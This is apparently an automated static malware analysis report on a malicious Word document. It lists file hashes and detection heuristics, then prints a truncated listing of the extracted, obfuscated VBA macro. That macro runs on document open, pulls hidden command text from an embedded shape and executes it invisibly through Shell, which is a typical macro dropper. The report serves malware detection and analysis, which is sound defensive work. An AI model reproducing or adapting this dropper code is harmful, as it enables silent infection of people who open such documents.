Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f73945d7cd4e2877…

MALICIOUS

Office (OLE)

78.8 KB Created: 2018-11-21 09:26:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: f2483fb10848408a5aa71a09b5319a7d SHA-1: 9ceb388c0289f086d763714d95ca7e5bf6eedf9c SHA-256: f73945d7cd4e28772a75fd990210edca9f4d3173d844c8161de26f01233fcf51
142 Risk Score

Heuristics 5

  • ClamAV: Doc.Trojan.Agent-6769652-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Agent-6769652-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4655 bytes
SHA-256: 3c6f70964385ba2a09ecfa6cb70ad3211947632e41750eb7f2aa813f73aab90f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "jlCzzHUDWiYC"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   On Error Resume Next
      If qEfczd Xor zfbvYmW Then
         lBGGqSv = BQYuAwU
      End If
      If lzTDH Xor iWtCkd Then
         hjfPd = Sgn(Jouiw)
      End If
   adMaiiCKV = (bSSUW - CDbl(148377423) / NohRWUkt + Sgn(205796858)) - 155918017 + CInt(KRrSUIhm) - 121732478 * Fix(316383781 * Oct(YiSmXE))
Set wInnEh = RdDIchDGP
Set SIwKm = Shapes("TQJSWvNKpXifLr")
   On Error Resume Next
      If aZpVatQ Xor cfvlKbEDF Then
         IQJjNw = RJpQTwn
      End If
      If GwOYuZ Xor zBFbEtkNV Then
         KpTbMtLqz = Sgn(kbcJj)
      End If
   VDfpi = (pMSHbl - CDbl(305116843) / hvTZIJT + Sgn(267212386)) - 307383390 + CInt(CizQL) - 149238276 * Fix(163513654 * Oct(vvYhijMzA))
Set IESaw = bpHDAX
   On Error Resume Next
      If bUqrOcA Xor sKKkki Then
         NjSrPbHt = YhFUUwsnR
      End If
      If uuiEJi Xor FMjFAqcfI Then
         RGwzU = Sgn(uSjWjwv)
      End If
   WSXjmi = (IMYVuKq - CDbl(161380111) / dpLsbhUNa + Sgn(128924917)) - 241400687 + CInt(dIKHRRjh) - 124751682 * Fix(292750957 * Oct(aZIuYiZQD))
Set otrnCqpzK = TzsfE
   On Error Resume Next
      If qHfujIF Xor ZvwjjB Then
         jRwsvowjD = zLStNmZC
      End If
      If szPUFOwVr Xor bmwQTNjY Then
         UntbcKhwn = Sgn(LIYdqI)
      End If
   TzqdzTFzb = (AvwjiOZiC - CDbl(335897289) / nJYSKBf + Sgn(172153804)) - 17742329 + CInt(IHatm) - 222289116 * Fix(145236499 * Oct(UoiBLjB))
Set nhuwuoJX = nSLmRZWZ
iQKKnOiKzW = "" + sGqYlwk + nwjBCj + SIwKm.TextFrame.TextRange.Text + PTUObukI + cjcqJQ
   On Error Resume Next
      If XWmmjdrPQ Xor hNBOjapZ Then
         RLTohw = jdAbO
      End If
      If GkiqVDX Xor UWlhI Then
         rEqdPBPu = Sgn(EhFoizNO)
      End If
   SDHRkqFm = (GwphH - CDbl(162405102) / ObmXLM + Sgn(101715502)) - 79167710 + CInt(ZIQOs) - 81159904 * Fix(44468947 * Oct(wOFYZ))
Set AYdwIz = XZjVPVbrd
   On Error Resume Next
      If ZCPVi Xor ZZuvBS Then
         sFwQzn = qNzrMLT
      End If
      If kLRvwSf Xor fXtcNfzcB Then
         MHwjMua = Sgn(QLFYIX)
      End If
   vojiFWsMM = (sFKJLN - CDbl(135482046) / kzLiBwWU + Sgn(222550221)) - 15592542 + CInt(nGPWhR) - 286212188 * Fix(109428068 * Oct(wFTvlSTpQ))
Set FwkjY = jQmkIko
   On Error Resume Next
      If jlBOWj Xor kwAGW Then
         whFOIClhK = hWbkNV
      End If
      If iaOvGEv Xor wZXzsXB Then
         XiWmV = Sgn(YXiVSTr)
      End If
   wtOZSfIwq = (KpLdOhS - CDbl(314700993) / VDBqjBIC + Sgn(285020269)) - 110558742 + CInt(mbhBcdkS) - 32196732 * Fix(145309501 * Oct(ZsucjNvIz))
Set WnWru = fXKcR
Interaction.Shell@ iQKKnOiKzW + OKioXJup + tTuoImz, vbHide
   On Error Resume Next
      If tpfhAiA Xor rzfpFN Then
         WKrOR = RRcukB
      End If
      If RpZUGYr Xor oCVDMBTL Then
         icfvc = Sgn(rFQEb)
      End If
   CnPhXvB = (KjjVWiI - CDbl(144245305) / FOzGUQ + Sgn(50992879)) - 143475141 + CInt(pohPqTPN) - 246926948 * Fix(97629625 * Oct(VoGRn))
Set vvJYusVtK = dRiXILqGN
   On Error Resume Next
      If NslCfcwId Xor caYbz Then
         sXkkQaQMI = jQJsPCc
      End If
      If JoYiaz Xor EvmTEzfp Then
         criwb = Sgn(cZuJthzl)
      End If
   ZwGRISNz = (zMiisDYD - CDbl(180890544) / PYYdq + Sgn(152956297)) - 80778479 + CInt(kQGFFKAuF) - 281407566 * Fix(91271782 * Oct(oOttBPHz))
Set qkpFwVMA = QuwScji
   On Error Resume Next
      If EQiMX Xor kHrEAdfVR Then
         hfJllPz = nkqsMZBij
      End If
      If krQaSEVV Xor surYqARmR Then
         pWpTnYmz = Sgn(vSDSutkaF)
      End If
   NEPQX = (wwLzs - CDbl(306025979) / jztPvYcC + Sgn(206132458)) - 31879787 + CInt(aZoczfF) - 174262966 * Fix(83282634 * Oct(EjaGSNrc))
Set zzAfTUA = oBcEizl
   On Error Resume Next
      If izzKCwziK Xor iZNjUN Then
         BTjSHcWWS = HszwGSl
      End If
      If owsoAKPpm Xor bowjBD The
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.